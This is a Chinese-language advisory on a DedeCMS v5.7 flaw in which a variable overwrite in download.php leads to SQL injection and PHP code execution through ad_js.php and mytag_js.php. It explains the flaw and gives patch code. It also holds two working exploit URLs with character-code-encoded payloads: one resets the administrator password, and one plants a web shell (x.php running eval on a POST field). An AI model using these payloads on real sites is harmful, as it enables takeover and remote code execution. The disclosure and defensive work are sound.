dedeCMS /plus/ad_js.php、/plus/mytag_js.php Vul Via Injecting PHP Code By /plus/download.php Into DB && /include/dedesql.class.php

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. "/plus/download.php"文件会引入"/include/common.inc.php"文件
2. "/include/common.inc.php"中会对用户输入的变量进行"变量本地注册"，如果注册的变量未被显式地初始化，则会导致本地变量覆盖
3. "/include/common.inc.php"会引入"/include/dedesql.class.php"文件
4. 存在漏洞的"/include/dedesql.class.php"，"没有"对$arrs1、$arrs2这两个数组进行初始化，导致黑客可以通过外部的输入覆盖这2个变量
5. 黑客通过向"/plus/download.php"文件中POST入特殊构造的数据包，通过覆盖$arrs1、$arrs2这两个数组，最终污染"数据表前缀变量$cfg_"，这个"数据表前缀变量$cfg_"会被带入数据库的SQL查询语句中，导致SQL注入
6. "/plus/ad_js.php"、"/plus/mytag_js.php"会从数据库中查询出刚才被注入的PHP Code，将写过写入缓存文件中，并include执行，最终导致代码执行

http://bbs.safedog.cn/thread-52264-1-1.html http://www.2cto.com/Article/201205/129974.html http://www.91ri.org/6462.html http://phpinfo.me/2013/12/24/111.html[/code] 
2. 漏洞触发条件

1. POC: 修改管员密码: http://localhost/dedecms5.7/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35 //登录用户spider密码admin

2. POC: 向数据库插入后门 http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35 //需要访问plus/mytag_js.php/aid=1，会在plus目录生成 x.php 密码 m

3. "/include/dedesql.class.php"，"没有"对$arrs1、$arrs2这两个数组进行初始化
4. "/plus/ad_js.php"、"/plus/mytag_js.php"未对从数据库查询出的数据进行有效过滤、检测


0x1: 手工验证


 http://localhost/dedecms5.7/plus/ad_js.php?aid=21 
3. 漏洞影响范围

1. DedeCMS v5.7
2. <= DedeCMS v5.7


4. 漏洞代码分析
5. 防御方法

0x1: /include/dedesql.class.php

/* */
$arrs1 = array();
$arrs2 = array();

//特殊操作
if(isset($GLOBALS['arrs1']))
{
$v1 = $v2 = '';
for($i=0;isset($arrs1[$i]);$i++)
{
$v1 .= chr($arrs1[$i]);
}
for($i=0;isset($arrs2[$i]);$i++)
{
$v2 .= chr($arrs2[$i]);
}
$GLOBALS[$v1] .= $v2;
}
/* */


[b]0x2: /plus/ad_js.php[/b]

...
function find_ad_payload($adbody, $aid)
{
global $db;
$express = "/<\?[^><]+(\?>){0,1}|<\%[^><]+(\%>){0,1}|<\%=[^><]+(\%>){0,1}|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*(<\/script\s*>){0,1}/iU";
if (preg_match($express, $adbody))
{
$sql = " DELETE from `#@__myad` WHERE aid='$aid' ";
$rs = $db->ExecuteNoneQuery($sql);
if( file_exists(DEDEDATA . '/cache/myad-'.$aid.'.htm') )
{
@unlink(DEDEDATA.'/cache/myad-'.$aid.'.htm');
}
die("Request Error!");
}
}

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
$adbody = '';
if($row['timeset']==0)
{
$adbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
$adbody = $row['expbody'];
} else {
$adbody = $row['normbody'];
}
}

find_ad_payload($adbody, $aid);
...


[b]0x3: /plus/mytag_js.php[/b]

...
function find_tag_payload($tagbody, $aid)
{
global $db;
$express = "/<\?[^><]+(\?>){0,1}|<\%[^><]+(\%>){0,1}|<\%=[^><]+(\%>){0,1}|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*(<\/script\s*>){0,1}/iU";
if (preg_match($express, $tagbody))
{
$sql = " DELETE from `#@__mytag` WHERE aid='$aid' ";
$rs = $db->ExecuteNoneQuery($sql);
if( file_exists(DEDEDATA . '/cache/mytag-'.$aid.'.htm') )
{
@unlink(DEDEDATA.'/cache/mytag-'.$aid.'.htm');
}
die("Request Error!");
}
}

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(" document.write('Request Error!'); ");

$cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';
//die(var_dump($cacheFile));
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$pv = new PartView();
$row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' ");
if(!is_array($row))
{
$myvalues = "<!--\r\ndocument.write('Not found input!');\r\n-->";
}
else
{
$tagbody = '';
if($row['timeset']==0)
{
$tagbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime>$row['endtime'] || $ntime < $row['starttime']) {
$tagbody = $row['expbody'];
}
else {
$tagbody = $row['normbody'];
}
}

find_tag_payload($tagbody, $aid);

$pv->SetTemplet($tagbody, 'string');
...


[b][b][b][b][b]

[/b][/b][/b][/b][/b]

需要特别注意的是，对于dedecms数据库后门的这个攻击向量场景来说，防御代码需要考虑以下几个方面

1. PHP的起止标签具有很强的灵活性
1) <?php ... ?>
2) <? ... ?>
3) <script language="php">...</script>
4) <?=expression ... ?>
5) <% ... %>
6) <%=$variable %>
2. PHP允许半开的标签，即当PHP代码和HTML代码混编的时候，处于文件最末尾的PHP代码不需要闭合标签即可正确执行


0x4: 脏数据的清理

$cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';
/* clear diety data */
if(file_exists($cacheFile))
{
$tmpcheck = file_get_contents($cacheFile);
find_tag_payload($tmpcheck, $aid);
}
/* */
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{


ad_js.php的思路类似

6. 攻防思考

暂无

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